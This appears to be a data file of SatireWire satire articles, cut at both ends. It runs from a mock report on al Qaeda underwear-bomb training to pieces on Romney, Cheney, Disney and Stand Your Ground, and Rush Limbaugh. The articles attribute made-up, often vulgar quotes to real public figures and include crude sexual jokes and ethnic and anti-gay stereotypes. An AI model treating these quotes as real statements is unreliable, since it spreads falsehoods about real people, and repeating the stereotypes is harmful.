“because when the bomb goes off, that’s the first thing to go.” DAY 7 After a week of building up resistance to scrotal suffering, each recruit is outfitted with heavy plastic underwear. It does not contain the explosive Pentaerythritol tetranitrate, or PETN, used on an actual mission, but the weight and feel is the same. After a few hours, the men begin to complain. The temperature has soared to 101 degrees and the plastic retains moisture. Combined with the exercises, this causes a horrible rash. The men call it Muslim Extremitch. Col. Umar insists on applying the Desitin himself. Col. Umar, who leads the Genital Qaeda, says he is very attached to his men's groins. DAY 9 Today the men are gathered in a large tent, out of the searing heat, and stripped down to nothing but their plastic underwear. The mood, however, is anything but light. Today Niwad is working on visualization. “To succeed at anything, you have to ‘see it’ in your mind first,” Niwad tells the recruits. “So what I want you to do is visualize success. I want you to visualize the bomb going off in your pants.” By the end of the session, it is apparent that several of the recruits, either through excess fear or lack of imagination, cannot perform this task. Some of the men, however, are quite good at it. These are the ones sobbing quietly in the corner. DAY 10 Niwad rouses the recruits at dawn. They scramble, limp, and drag themselves onto the muster ground, where Col. Umar awaits. “My brothers, my brave warriors, you must think your commanders are cruel, that we have no respect for your personal areas,” Umar says. “But let me assure you that every day, all day long, all I do is think about your groins. When I’m with you, I don’t see people, I don’t see faces, I see only groins.” “Yeah, about that…” Niwad tries to interrupt. “Tomorrow,” Umar continues, “you will begin training with the real underwear. And so, to prepare your skin for the new material, you must all come to my tent, where you will strip and remain naked for the next 24 hours.” Several recruits frown. Niwad leans over to whisper in his commander’s ear. “Actually, that’s not necessary, sir,” he says. “Oh you’re no fun,” Umar responds. DAY 11 At 10 a.m., a truck arrives under heavy guard. A large, dark-green wooden crate is offloaded, the words “Sana Senior Center” stenciled on its sides. “To deceive our enemies,” Niwad explains. The anxious recruits form a circle as Niwad pries the lid with a crowbar. Inside are dozens of what appear to be oversized, adult diapers. These are the killing pants. Niwad hands the underwear to the recruits, who take them with a mixture of awe and fear. The brothers strip down, slip into their garments, and assemble for inspection. They look like a company of gaunt, sun-burnt, bearded babies. “Sir, I don’t feel very… terrifying in this,” says Kemal, a recruit from Egypt. “Fine,” says Niwad. “Anyone who doesn’t like the pants, strip them off and march your naked self in to see Col. Umar.” No one moves. Desitin is most effective in the fight against Muslim Extremitch. DAY 13 Now that they wear explosive underwear, the men no longer endure blows to the midsection. Any shock could set the devices off. Relieved, the recruits let down their guard and joke. “Does this Pentaerythritol tetranitrate make me look fat?” one asks. “Hey Ahmed,” another yells. “Is that a plastic explosive in your pants or are you just irrationally angry to see me?” The levity ends, however, when Niwad says it is time to begin detonation training. In the past, this is where the underwear bomb has, figuratively at least, come apart. While the explosive is undetectable, that’s irrelevant if the thing won’t go off. Different methods are tried on the men. Matches. Electric shock. Unstable liquids. The attrition rate is high, like a bris gone horribly, horribly wrong. The marching ground is littered with parts no longer private. Yet the training continues. Before each explosion is set off, Niwad places his hand on the recruit’s head and utters, “May God have mercy on your groin.” DAY 15 Of the 31 recruits who began training, just four remain. Eighteen have died. Five ran away with what was left of themselves. Three have gone so insane even al Qaeda thinks they’re too crazy. One left this morning to open a dress shop in the capital with Col. Umar. Niwad, now alone in command, looks over the scruffy, scrotum-shocked graduates assembled before him. “Men of Genital Qaeda…” he begins. “Excuse me,” interrupts a shaky recruit named Yousef. “I don’t think I’m a man anymore. I mean, technically.” Niwad sighs. “Fine. Men, or… thereabouts, you have achieved great things here, and I know that on your missions, you will achieve even greater things. Eventually.” “Eventually” is the operative word. As it turns out, Niwad explains, there aren’t any missions because they haven’t perfected the detonator. As a result, he orders the trained bombers back to their regular al Qaeda units. He promises to call them up when a new device is perfected. At which time they will be re-trained. It’s unclear if Niwad is telling the truth or just saying this because a reporter is present. But it’s clear the men believe him, because they immediately surround Niwad. There is a struggle. Niwad is stripped. A knife slices the air. And then, clear as the Arabian sky, the recruits emit a sound wholly unexpected, but perhaps not wholly inappropriate, considering what they’ve been through. “Mazel tov!” they cheer. "], ['no-topic', 'UNIVERSITIES OFFER NEW “BACHELOR OF WHATEVER” DEGREE', "NEW YORK, N.Y. (SatireWire.com) — Sensitive to claims they no longer prepare students for the real world, universities across the country today unveiled a new type of degree – the Bachelor of Whatever (B.W.), where students select their own courses, track their own progress, test and grade themselves, graduate Magna Cum Laude, and whatever it doesn’t matter there aren’t any jobs. Unlike their unrealistic B.A. counterparts, graduates with a B.W. degree will expect the summer job they had in high school to be the best job they'll ever get. “As educators, we must prepare people for life after college,” said New York University Dean Arnistan Bright. “Right now, about half of new college graduates are either unemployed or underemployed, so students with a B.W. will have a leg-up on the ladder to success, which they are taught has only one rung and tops out at cashier.” “It’s really about expectations and ‘Can I find work in my chosen field?’” said University of Colorado admissions officer Kylie Scott. “People with a Bachelor of Science expect to take that job. People with a Bachelor of Arts hope to take that job. People with a Bachelor of Whatever will gladly take your order.” The traditional B.A. and B.S. will still exist, but several of their majors will now be included under the B.W., including art history, philosophy, communications, anthropology, literature, graphic design, and hospitality management. The B.W. degree will also take at least five years, as students will spend three semesters doing internships at fast food restaurants, telemarketing firms, and Goldman Sacks – a grocery bagging trainee program. The B.W., however, is not the only change on the horizon in higher education. With college costs well above $200,000 for a four-year degree, the University of California system says it will introduce a half-price “budget” degree, a slimmed-down version of college consisting of drinking, awkward sex, two math classes and intramural Frisbee – or roughly the equivalent of four years at the University of Miami. Hampden-Sydney College in Virginia, meanwhile, will offer a B.D., or Bachelor of Debt, including a class in which students lay on the floor under a 500-pound weight just to see what the rest of their lives will be like. Boston University will, appropriately, offer a B.U., or Bachelor of Underemployment, which includes a 10-year, non-paying, post-graduate internship, and course offerings such as, “From Totem Pole to Stripper Pole – Finally making money with your anthropology degree.” And while other schools trial alternative degrees such as Bachelor of Drive-Thru Windowing, (B.D.T.W.), Bachelor of Financial Dependency (B.F.D.), and Bachelor of Utter Hopelessness (B.U.H.), Northwestern University this month will award its first B.L.Y.P.B.s (Bachelor of Living in Your Parent’s Basement). Unlike a degree in architecture or theater arts, the BLYPB is useful, offering real-world courses for graduates destined to live underground at home. “A lot of my peers spent a quarter-million dollars and don’t know why,” said Shannon Cabot, who will earn a BLYPB at Northwestern. “But I know what I got for my money. I learned how to consolidate my personal belongings into one corner, how to use bleach in the fight against mold, how to identify various kinds of spiders, how to turn my old dorm refrigerator into a sump pump, and how to tell my stoned friends to watch their heads at the top of the stairs.” Cabot, who does not have a job lined up so far, said she plans to spend the next several years going on job interviews, recognizing edible fungi, and attempting to sell her screenplay The Parent Tap, a movie about a pair of 20-something twins separated at birth who try to reunite their divorced parents so they can tap them up for the money they’ll save as a married couple filing jointly. "], ['no-topic', 'ROMNEY RACKING UP INDIFFERENDORSEMENTS', 'SATIREWIRE COMMENTARY by Andy Marlatt Rallying around Mitt Romney in much the same way suicide jumpers rally around the ground, Republican heavyweights have continued to endorse the “inevitable” GOP presidential candidate by using such superlatives as “yeah,” “(let’s) face it,” and “whatever.” Is the GOP purposefully trying to act indifferent? “Face it, we got the best candidate we could out of the process,” South Carolina Rep. Mick Mulvaney actually said — out loud — at a Republican forum. “You can call it whatever you want,” said Rick Santorum, after he was asked if his pledge to support his party in November was an endorsement of Romney. I’d call it an indifferendorsement, a rousing show of support if you define rousing as the feeling you get when the doctor says you have a yeast infection — it sucks, but at least it’s not Chlamydia. Former Romney opponents Rick Perry and Newt Gingrich, as well as Senate Minority Leader Mitch McConnell, also lined up in the vicinity of the behind of the nominee-to-be, christening the good ship Romney with the equivalent of a half-finished bottle of Mike’s Hard Lemonade. “Yeah, I support Gov. Romney for president of the United States, and he is going to be the nominee,” McConnell managed to blurt out before, presumably, becoming ill. Obviously, something is amiss here. Republicans don’t usually act like this. They’re usually united, organized, with talking points disseminated telepathically. But these folks act like they woke up on a rainy day to learn that the Yankees-Red Sox game they planned to attend was washed out and replaced by an evening of Nancy Pelosi vacation movies. “Alright, I guess I’ll go. But if she’s in a two-piece, I’m closing my eyes.” On the surface, it’s easy to see why conservatives are indifferent to Romney. It’s the same reason it’s hard to get fired up about haggis. They say it’s food, but what is it really? In political terms, it’s David Souter Syndrome: the fear that what you thought you were getting will turn out to be the last thing you wanted. To refresh your memory, Souter was appointed to the Supreme Court by George H.W. Bush. He was supposed to be conservative. Oops. For that reason, it seems the right doesn’t want Romney to be their candidate any more than you’d want him to be your mohel. He wavers too much. Back in 2004, Democrat John Kerry suffered by being for things before he was against them. But Mitt Romney was for things he wasn’t against until he was up against it for being for things he didn’t yet know he needed to be against. It’s hard to endorse that, not to mention comprehend that, but Rep. Louie Gohmert, R-TX, gave it a shot: “If you’re not sure about wanting to support Mitt Romney, whether you’re liberal, whether you’re very conservative, you ought to be excited because he’s been on your side at one time or another,” he told The Hill. He then added: “So I’m not completely misunderstood, I’m not as excited as I am desperate.” Specifically, Gohmert and his colleagues are saying they are desperately worried that they have Oops II on their hands; that once nominated, and certainly if he gets into office, Romney will quickly Souterize. The thing is, not so deep down, the Democrats think this too, and they’re worried that independents in particular will agree. And here’s where the GOP’s very public, out-of-character indifferendorsements finally make sense. They aren’t accidental. Republicans want independents and moderate Democrats to see their indifference. They want independents and moderate Democrats to think Romney is not a “severe conservative.” They want independents and moderate Democrats to think Romney is different enough from Obama to give them a choice, but not so different as to put the Tea Party bus up on blocks on the White House lawn. The accepted wisdom in politics nowadays is that endorsements don’t really matter. But in 2012, Republicans have figured out that indifferendorsements just might. '], ['no-topic', 'N. KOREA APPARENTLY PLANS TO LITTER WORLD INTO SUBMISSION', 'PYONGYANG (SatireWire.com) — North Korea on Thursday launched what appears to be a new type of disintegrating missile that officials warn could pose a significant threat to any nation other than the one it’s pointed at. 10,000 years from now, Earth could be ankle deep in North Korean rocket parts. According to South Korean and Japanese observers, the long-range Unha-3 rocket flew for less than a minute late Thursday before breaking into pieces, purposely scattering wreckage over where it wasn’t supposed to go: the Korean peninsula and Yellow Sea. While no injuries were reported, the White House nonetheless reacted angrily to the provocation. “North Korea’s aggressive action threatens regional security, violates international law, and is a direct menace to anyone standing underneath one of those missiles when it falls apart,” the statement said. “Any nation unfortunate enough to be, not the direct target, but somewhere vaguely in or near or possibly opposite the path of that direct target, runs the risk of head injuries, property damage, and at the very least extensive cleanup costs.” Asian and Western analysts say they cannot be sure what the rocket – now the third of its kind to fail — is made of, but based on results they are guessing it is some combination of cardboard, duct tape and tin foil set atop a used lawnmower engine. “But that’s only for now,” said Japanese Defense Minister Naoki Tanaka.. “Imagine for instance a missile made entirely out of those ubiquitous plastic grocery sacks. Think of the fallout. Those bags can last for thousands of years longer than uranium.” After an initial silence, Pyongyang confirmed Western anxiety in a defiant and ominous statement. “With today’s majestic rocket launch, our Great Fearless Leader Kim Jong Un, with his eyes that can see a million miles and jowls that can hide a thousand suns, reminds our enemies of the words of Nikita Kruschev, who once warned the West, ‘We will bury you!’ Today Kim Jong Un goes one step further and declares, ‘We will bury you… in trash!’” “Eventually,” the statement added. “And by ‘you’ we mean not necessarily you, but anyone in the vicinity of you.” '], ['no-topic', 'FLORIDA CLOSED FOR MENTAL REPAIRS', "ORLANDO, FL (SatireWire.com) — The state of Florida will be closed for mental repairs until further notice, the National Institutes of Health announced today. Thanks to Florida's crumbling mental infrastructure, people who dress as mice and princesses at Disney World are the state's most normal residents. For decades, Florida’s crumbling mental infrastructure has been well documented, from the recent legal shootings of unarmed teenagers and the acquittal of Casey Anthony to men who store dead cougars in their freezers and the occasional severed leg that washes ashore. According to NIH Director Francis S. Collins, the long-overdue renovations will focus on rebuilding Floridian’s ability to live with each other, exhibit socially acceptable behavior, and, at the very least, encourage its citizens not to shoot their grandmothers with crossbows quite so much. “Right now the most ‘normal’ people in Florida are the ones at Disney World who dress up like mice and princesses,” said Collins. “When the refurbish is done, however, we hope that painting your nose to look like a gun and stealing video games from a 7-Eleven because you wanted to buy a birthday gift for your pet python will not be considered mainstream behavior.” To save money, the NIH initially planned to tear the state down and start over, but compromised with Florida legislators who opposed any remodeling. “The people of Florida are not defective, unstable structures that threaten public safety,” said Democratic State Rep. Skiles Boonley, who wore a pink button with the word ‘UTERUS’ on it because it annoyed his Republican colleagues. “Well, OK, some of them are. But that’s legal here.” Republican State Sen. Ellyn Bogdanoff, who recently sponsored a bill allowing state residents to dye animals any color they choose, concurred: “The people of this state want what anybody else wants: burnt umber poodles and fuchsia cows,” she said. “We don’t need repairing. What we need is a law requiring water fowl to accessorize.” In the end, the NIH settled on the more costly psychiatric renovations. Out-of-state contractors will be used to do most of the work – by phone or video chat if possible – due to the threat of “going native.” Only a third of Florida residents are native-born, but outsiders are not immune to decay. The heat, humidity, and wear-and-tear of daily Florida life can cause newcomers to mentally decompose at an alarming rate. “When I moved in from Ohio 10 years ago, I was normal,” said Rich Dulay, a 35-year-old accountant in Vero Beach. “In other words, I was the not-odd-man out in my neighborhood. So one day I put on a bikini, covered my feet in chicken feathers, and trashed a local Burger King because my fries were different lengths. Now I’m just one of the guys.” During mental repairs, Florida will be closed to all traffic. No one may enter or leave without a signed note from their doctor or an escaped orangutan selling cocaine from a wheelchair. "], ['no-topic', 'HIGH SCIENTISTS INSIST EARTH IS DEPICTED UPSIDE DOWN MAYBE', 'AMSTERDAM (SatireWire.com) — A team of extremely high astrophysicists revealed today that mankind has for millenia incorrectly depicted Earth upside down, a stunning development that means everyone traveling right now is going in the wrong direction. Scientists also concluded that if Earth were made of cake, it would be delicious. The findings were announced at the annual International Earth Science Forum, which this year, due to budget constraints and a booking error, took place at a cannabis cafe in Amsterdam’s notorious De Wallen district. Grouped at tables throughout the smoke-filled shop, dozens of normally reserved scientists exchanged revolutionary — if somewhat impromptu — research, including a team of concussively stoned geologists who insisted that if you look at Earth from the inside, everything on the surface appears to be backwards. “This is… ever,” said one remarkably potted speleologist, responding either to the event or something in the ultraviolet. “Troglobite.” In what appeared to be a keynote address, Svalbard University astrophysicist Sven Carlsson offered up the “Theory of Earthly Inversionismness” that he and colleagues from America and Great Britain had just come up with. “North and South are artificial, man-made constructs, like this paisley snake I’m holding,” said Carlsson, incorrectly identifying his tie. Because there is no gravity in space, there is no up or down, Carlsson continued. Therefore, it’s just as likely that Asia, and not Australia, is down under. To prove it, Carlsson then leaned forward in his chair, put his head between his knees, and with some effort managed to view the underside of his seat. “Ha! Made in China!” he snorted, before toppling over. The Inversion hypothesis was quickly followed by announcements from other esteemed and estewed scientists. In one presentation, a team of thoroughly Marley’d chemists speculated that if Earth were invisible, it could spy on the other planets without them knowing about it, while a group of particularly fitshaced marine biologists announced that if Earth were composed entirely of water and humans adapted, Aquaman would just be some guy. Not to be outdone, a team of quakingly wasted seismologists theorized that if Earth got scared, it would scream like a girl, while a spliffload of cheerfully Chonged sedimentologists concluded that if Earth were transparent, we would be able to see up New Zealand. In other IESF developments: A team of barkingly baked astronomers proclaimed that four Earths could fit in Uranus and just could not stop giggling about it. A team of spectacularly torched stratographologists announced they would travel to Australia to learn if Ayers Rock were a massive protuberance or just happy to see them. A team of badly tripping climatologists insisted global warming was not man made but that Earth instead has been placed on a rotating spit by God who is using the Sun to slow-roast the planet over 13 billion years in order to eat it. In the meeting’s closing moments, the IESF was going to present its Lifetime Achievement award to South African paleontologist Jackson Holbern, but at the last minute instead gave it to Anders, who works behind the counter. '], ['no-topic', 'CONSERVATIVE ROMNEY PICKS MODERATE ROMNEY FOR V.P.', 'MADISON, WI. (SatireWire.com) — In a move to “keep his enemies close” while also attracting independent voters, presumptive Republican presidential nominee Severely Conservative Mitt Romney today announced he will choose arch nemesis Moderate Mitt Romney as his running mate. The Secret Service has codenamed Gov. Moderate Romney (top) “Flip,” while Gov. Severely Conservative Romney will be “Flop.” “You know they say, ‘Keep your friends close and your enemies closer,’ and certainly I have had no greater enemy in this campaign than former Gov. Moderate Mitt Romney,” said former Gov. Severely Conservative Mitt Romney. “Obviously we won’t always agree, but a strong leader should not be afraid to hear different opinions, even from himself.” While it’s unusual for a candidate to name a running mate so far in advance, analysts called it a classic, and brilliant, political maneuver. “The opponent that’s kept him from winning the nomination isn’t Rick Santorum or Newt Gingrich, it’s Gov. Moderate Mitt Romney,” said Republican strategist Karl Rove. “The guy just won’t go away, no matter what, so why not bring him on board?” Rove pointed out that conservative Ronald Reagan picked adversary and moderate George H.W. Bush as Vice President, while liberal Barack Obama appointed primary foe and relative moderate Hilary Clinton as Secretary of State. “Putting a conservative and a moderate on the same ticket gives the Republicans a chance to broaden their base, and naming your biggest detractor as vice president effectively gets him out of the public eye,” Rove explained. “Forever.” Democrats immediately pounced on the announcement, saying it highlights Gov. Severely Conservative Romney’s flip-flops. But GOP pollster Henrik Laarson disagrees, arguing it will help the nominee’s standing among Tea Partiers and social conservatives who worried about the candidate’s moderate past. “By acknowledging that Gov. Moderate Romney exists separately, Gov. Severely Conservative Romney can no longer be called a flip-flopper,” Laarson said. “Instead, they are two people. Gov. Moderate Romney is a flip, and Gov. Severely Conservative Romney is a flop. That is now indisputable.” Despite the seemingly astute scheme, federal election officials say the presumptive Republican ticket may hit a snag. To qualify for the presidency, a candidate must be at least 35 years old. While Moderate Romney is 65, Gov. Severely Conservative Romney was brought into this world in 2007, in the run-up to the 2008 presidential race. “As far as we can tell, Gov. Severely Conservative Romney is only five years old,” said Republican FEC member Caroline C. Hunter. “However, combined they are 70. Since we’re dividing him in two, we’re going to argue that each is 35.” '], ['no-topic', 'U.S. BOSSES BRACING TO BE TOLD TO FUCK OFF BY LOTTERY WINNER', "ATLANTA (SatireWire.com) — As Americans turn out in droves to purchase tickets for Friday’s $640 million lottery drawing, the nation’s managers, supervisors, and administrators are bracing themselves for someone to walk through their door Monday morning and tell them to fuck off. Remember, you can't be told to fuck off if your employees don't play! “Just think, that could be me,” said Angela Cartwright, a hospital administrator in Chicago. “My chances are pretty good since every department and every floor has a Mega Millions pool going, and every department and every floor hates me for cutting benefits in half last year.” In Charlotte, N.C., Staples regional vice president John Celney said he has a “really strong feeling” it will be him. “Last night I had a dream that the entire staff from my Chapel Hill store showed up at my office and told me to stick it,” he said. “Then I slapped the big red button on my desk and said, ‘That’s Easy!®’” The odds of being the winner’s boss are the same as for winning the jackpot itself: 179 million to one. But managers can dream, said U.S. Chamber of Commerce executive Carol Mozler, even if they normally appear to have no imagination whatsoever. “There is a tremendous amount of buzz and anticipation about Mega Millions in the management community,” said Mozler. “We have reports of some bosses refusing to come to work Monday for fear they will be told off by that creepy guy in the mail room, or the woman in the cafeteria who drools in the soup.” Other administrators, however, are being proactive. In Basking Ridge, N.J., AT&T customer service manager Dermet Haj said he’s going to wear a wetsuit to work on Monday. “I started charging $2 for cups of water last fall, so I anticipate the 20 folks in my department who have a pool going will dump the water cooler on my head while telling me to fuck myself,” he predicted. “That’s what my wife said she would do if she worked for a dick like me.” Like the jackpot, that would set a record. “I’ve never had more than two or three employees at a time tell me to fuck off,” Haj said. “Not including the anonymous stuff.” Whoever the winner’s boss is, the key is to maintain your dignity, said Dallas, Tex., restaurant owner John Gallia. “Remember, you’re still the boss, so you don’t have to sit there and take it like a fool, even if you are one,” Gallia said. “In my case, I’ve already prepared pink slips so if someone comes in here with a shit-eatin’ grin and says, ‘Hey asshole, I quit!’ I will say, ‘Too late. You’re fired!’ “See, I get to have the last laugh,” he added. “All they get is $640 million.” "], ['no-topic', 'CHENEY’S HEART TO GET MEDAL FOR TRYING TO RID WORLD OF CHENEY', "FALLS CHURCH, VA (SatireWire.com) — The original heart of former Vice President Dick Cheney will receive the nation’s highest honor – the Presidential Medal of Freedom – for its lifelong attempts to rid of the world of former Vice President Dick Cheney. Cheney's new heart (inset) will live out its life in deprevation and misery. The Republican icon, 71, received a heart transplant Saturday night, effectively putting an end to the defective heart’s remarkable efforts. In the past 25 years alone, Cheney suffered five heart attacks, and though the former Vice President survived each one, the White House said the organ’s courage and sacrifice should not be overlooked. “Even though Dick Cheney always recovered, I don’t think we could have asked any heart to do more,” President Obama said in a press release. “The fact that it was so willing to lay down its life to make the world a better place is the epitome of what this award is about.” Established in 1963, the Presidential Medal of Freedom recognizes individuals who make an “especially meritorious contribution” to the national interests of the United States, to world peace, or to culture. Cheney’s heart was cited for two of the three categories. Ironically, President George H.W. Bush bestowed the same award on Cheney himself in 1991, although historians now suspect the medal was given sarcastically. While too feeble to speak, the heart did release a statement through Inova Fairfax Hospital in Falls Church. “As you know, I’ve dedicated the last quarter of a century trying to rid the world of evil, and I want to thank the American public for finally recognizing my battle in what I can only describe as the real war on terror,” it said. “It certainly hasn’t been easy, especially when people said (Cheney) didn’t have a heart. That really hurt. It wasn’t my fault that he ignored me.” Touchingly, the heart also asked America’s forgiveness. “The truth is, deep down in my me I wish I could have done more sooner,” it said. “So while I’m proud of trying, in the end I left my job undone. For that I apologize, not just to the nation, but to the young, innocent heart that now takes my place in that lair of deprivation and misery.” Doctors say the original heart, shriveled and misshapen after years of misuse, will be kept alive as it had been during Cheney’s life: in a liquid suspension of bile, acid and fear. "], ['no-topic', 'DISNEY CHARACTERS CAN LEGALLY BE SHOT UNDER FLORIDA LAW', "ORLANDO, FL (SatireWire.com) — A Florida court today ruled that under the state’s “Stand Your Ground” law, which allows people who feel threatened to use deadly force, the life-sized characters at Orlando’s Disney World can legally be shot because they’re frightening and creepy. Mickey's stalking days (above) may be over. In his decision, Circuit Court Judge Jefferson Garnett declared Disney’s large, often anthropomorphic characters — with their unblinking eyes and fixed smiles — frightening to children and unnerving to adults. Therefore, they can reasonably be considered dangerous. “If you’re walking around the park with your family and suddenly a giant mouse appears and tries to put its arms around your 4-year-old daughter, I think a person can justifiably claim they feel threatened by that,” said Judge Garnett. “And at Disney, it’s not just the mice. What about the 7-foot-tall bear? Or the sneering pirate with a hook? Or worse, that pair of human-sized chipmunks? They’re brown. That’s automatically suspicious.” The verdict comes on the heels of the controversial shooting death in Sanford, Fla., of an unarmed black teenager by a white man who claimed the boy was “up to no good.” Arguing in vain against today’s ruling, Disney lawyers insisted its park characters are simply costumed actors playing a role. “Baloo the bear is not actually a bear,” Disney attorney Kelly Farring told the judge. “It’s just a man in a bear suit.” “Oh right. And I suppose Osama bin Laden was just a man in an al Qaeda suit,” Judge Garnett responded. “Just because visitors to Disney willingly suspend their disbelief, that doesn’t mean they have to suspend their right to defend themselves and their children. My 6-year-old grandson is scared to death of Goofy. His head is the size of my Volvo.” According to the court, the “Stand Your Ground” law means dozens of well-known, unarmed characters can justifiably be shot in self-defense, even seemingly innocent Snow White. “Women may find her beauty threatening,” the Judge explained. Others on the list, and the reason for their inclusion: DISNEY CHARACTER JUSTIFICATION FOR SHOOTING Sneezy Infectious Grumpy Angry Bashful “Quiet. Always keeps to himself.” Red flag! Aladdin, Jasmine, Jafar, Sultan Middle Eastern looking Mustafa Middle Eastern sounding Mustafa Also a lion Winnie the Pooh Bear Baloo Bear Br’er Bear Bear Tigger Tiger Beast Beast Eeyore Ass Bambi No good reason. But deer meat’s yummy Cruella de Vil Possibly Joan Rivers Little Red Riding Hood Wears a hoodie Pocahontas Red-skinned Mowgli Dark-skinned Chewbacca Dark-furred Darth Vader Black burka Simba Lion Scar Lion Tarzan Loins Tinkerbell Probably Gay Piglet Definitely gay Ewoks Super gay Disney lawyers said they planned to appeal the ruling until the judge explained they could be shot for threatening his livelihood. "], ['no-topic', 'iPAD 3 PURCHASE CAN INCREASE CHILD’S LOVE OF PARENTS', "CUPUTERINO, CA (SatireWire.com) — Children of divorce report a nearly 50 percent increase in their love for whichever parent is willing to buy them the new Apple iPad 3, according to a survey of American youth. Apple's targeted campaign. Apple is aware of the trend, targeting the divorced-parent market with a new ad campaign (right) that has so far proven highly effective. Of the 3 million iPads sold since its release Friday, 75 percent have been snapped up by either fathers without custody or mothers who want their children to at least pretend not to hate their new stepdad. Family therapists warn against the temptation to “buy love,” a ploy often used by those who feel responsible for the breakup or guilty for trying to move on. The nation’s children, however, warn about the consequences of not trying. “When my parents split, I was really angry with both of them, but I think the new iPad 3 will allow me to love one of them again,” said survey respondent Kyle Staunten, a Phoenix 8th grader. “The question is, who wants it more?” Added Jackson Tallin, a 6th grader from Ft. Worth, Texas: “When my mom left my dad last year, she bought me an iPad 2, but now I realize it didn’t bring me closure. All this time I’ve settled for limited 3G love, when what I really need is full-spectrum, 4G love.” “Or I can set fire to my room again,” he said. “It’s her choice.” Love isn’t the only motivator, however. Some children point out that an iPad 3 purchase can be integral to family unity. “My stepdad, Frank, is kind of a jerk, so I can’t see myself loving him,” explained Renata Garasso, a 14-year-old from Rahway, N.J. “But I could see myself calling him ‘Dad’. He’s kind of desperate, so I think it’ll be worth $600 to him.” In Buffalo, N.Y., 12-year-old Chelsea Gravesnor has a more direct message. “When my dad moved out, I kind of sided with my mom,” she said. “But if my dad is reading this, I just want him to know that I can change my mind as quick as he can put down a credit card. But he should act now. My supply of love is limited.” "], ['no-topic', 'U.S., ISRAEL AGREE ISRAEL DOESN’T GIVE A SHIT WHAT U.S. THINKS', 'WASHINGTON D.C. (SatireWire.com) — In what aides described as a “cordial, constructive” meeting on Iran’s nuclear threat, President Obama and Israeli Prime Minister Benjamin Netanyahu agreed Monday that Israel really doesn’t give a shit what the U.S. thinks. "America stands with Israel, and Israel stands with Israel," Netanyahu told reporters. “The Prime Minister and I share much more common ground than we did even a few hours ago,” said the President of the 3-hour meeting. “Most importantly, we have come to a mutual understanding on the issue of bombing Iran. He’s going to do what the fuck he wants whether I like it or not, and I agree that he’s going to do what the fuck he wants whether I like it or not.” While Obama still hopes Israel will wait for diplomacy to work, Netanyahu repeated his stance that his country needs to be the master of its own fate. However, that does not mean the U.S. won’t play a role. “Mr. Netanyahu has assured me that the United States will have a say in whatever Israel does,” Obama said. “For instance, Mr. Netanyahu might call me and say, ‘We just bombed Iran,’ and I will say, ‘Oh.’” The Prime Minister echoed those sentiments. “No one should ever doubt that America stands with Israel, and Israel stands with Israel,” he said. Obama, facing election-year pressure from Israel’s U.S. supporters and Republican contenders, sought to reassure Netanyahu the United States was keeping its own military option open as a last resort. “When it comes to your security, you should know the United States will always have Israel’s back,” Obama said. “Yes, good,” Netanyahu replied, “because that is the part we are showing you.” While some Democrats complained that Obama had not been strong enough, Netanyahu did make some concessions. Of particular note: the Prime Minister promised to let the President know about any Israeli military action before he sees it on CNN. '], ['no-topic', 'NFL PLAYERS SAY INJURING OPPONENTS MEANT TO BE HUMOROUS', 'NEW ORLEANS (SatireWire.com) — Taking a page from Rush Limbaugh’s penitent play book, NFL defenders who won cash bounties for injuring opponents apologized today, explaining that the “kill shots” they took were simply awkward attempts at humor. Just as comedians on stage try to "kill" with an audience, here the Saints try to "kill" the Carolina Panthers\' Tyrell Sutton. “What people don’t realize is, football isn’t about the violence, it’s about the physical comedy,” explained New Orleans Saints linebacker Jonathan Vilma. “Think about it. If slipping on a banana peel is funny, then snapping someone’s femur is even funnier. I’m sorry if some people found that offensive or career-ending.” “When you twist a guy into a pretzel and slam him into the ground so he punctures a lung, that’s like watching Will Farrell take a pratfall,” agreed former Saints safety Darren Sharper. “It’s awkward and goofy. Sometimes I laugh so hard I can’t breathe. Especially if the guy I hit can’t breath.” The apology comes after the Saints, under the direction of defensive coordinator Gregg Williams, were found guilty of paying cash for savage hits, particularly for “cart-offs” – shots where opponents were carried from the field. Sharper and his colleagues insisted they were simply entertainers doing their jobs, much as Limbaugh insisted he was trying to be humorous and entertaining when he branded a Georgetown University coed a “slut” for her views on contraception. “As entertainers, the players are limited in what they can do,” said Williams, now with the St. Louis Rams. “They can’t dance because the league has outlawed that. They can’t sing because no one can hear ‘em with the helmets. What they can do is slapstick, by which I mean slap somebody upside the head and stick their face in the ground until their eyes bleed. Like The Three Stooges.” In a discussion on ESPN, Saints defensive end Bobby McCray clarified that approach to former Arizona Cardinals quarterback Kurt Warner, whom McCrary knocked out of a 2009 playoff game. “OK, yeah, there was a bounty on Kurt, but it wasn’t about injuring him,” said McCray. “It was about who could get the biggest laugh.” “You could have told me,” Warner responded. “No no, that was our improv phase,” McCray explained. “We thought it’d be funnier just to see your genuine reaction. Like on Punk’d. We totally got you.” Warner agreed, noting that his genuine reaction was to lay motionless on the field and, two weeks later, end his career. “Comedy gold,” McCray replied, slapping Warner on the thigh and breaking his knee cap. '], ['no-topic', 'AMERICANS TRYING HARD NOT TO PICTURE RUSH WATCHING SEX TAPES', 'WASHINGTON, D.C. – Rush Limbaugh’s assertion that a Georgetown University coed is a “slut” who should post her sex tapes online so he can watch has upset liberals and conservatives alike who really, really wish they didn’t now have a mental picture of Limbaugh sitting in the dark in front of his computer pleasuring himself. This image alone has prevented 2,000 pregnancies since this sentence began. “Ewwwww…” moaned 34-year-old Democrat Carla Pewe-Reese of Cincinnati. “Why did he have to plant that image in my head? Why?” “We should be talking about the economy and jobs, but right now that’s impossible when Rush has us preoccupied with the image of… of… oh God I’m gonna be sick,” added Don Westervale, a Republican from Houston. “Please, make it stop.” Americans agree. In a new Gallup poll on the most important issue facing the country, only 12 percent said “Jobs” while 89 percent said, “Trying to erase the vision of Rush Limbaugh with his pants around his ankles.” The outcry comes a day after Limbaugh spoke out against a female Georgetown law student for testifying in favor of health care coverage for contraceptives. On his radio show, Limbaugh called her a “slut” and a “prostitute,” and insisted she videotape her sexual encounters, then “post the videos online so we can all watch.” While Democrats vilified the bombastic host and Republican leaders called his words “inappropriate,” the greatest victim may be the online porn industry, which has seen a 20-fold decrease in subscriptions and page views since Limbaugh’s tirade. Boston University freshman ‘Derrick’ exemplified the problem. “I was at a porn site last night, and I was, well, you know,” he said. “I tried for 20 minutes, but all I kept thinking was, ‘What if Rush is watching this now, too?’” If there is an upside to the controversy, some women say shouting the name ‘Limbaugh!’ is now more effective than the word ‘No!’ in fending off unwanted sexual advances. Therapists say there may be no cure to this mental picture. “I used it on my boyfriend Randy last night when I just wasn’t in the mood and it worked,” said Vanderbilt University junior Donna Kelleher. “Too well, really.” “Yeah, I actually threw up,” Randy confessed. “I may never have sex again.” While Limbaugh’s comments have so far only caused two of his show sponsors to pull 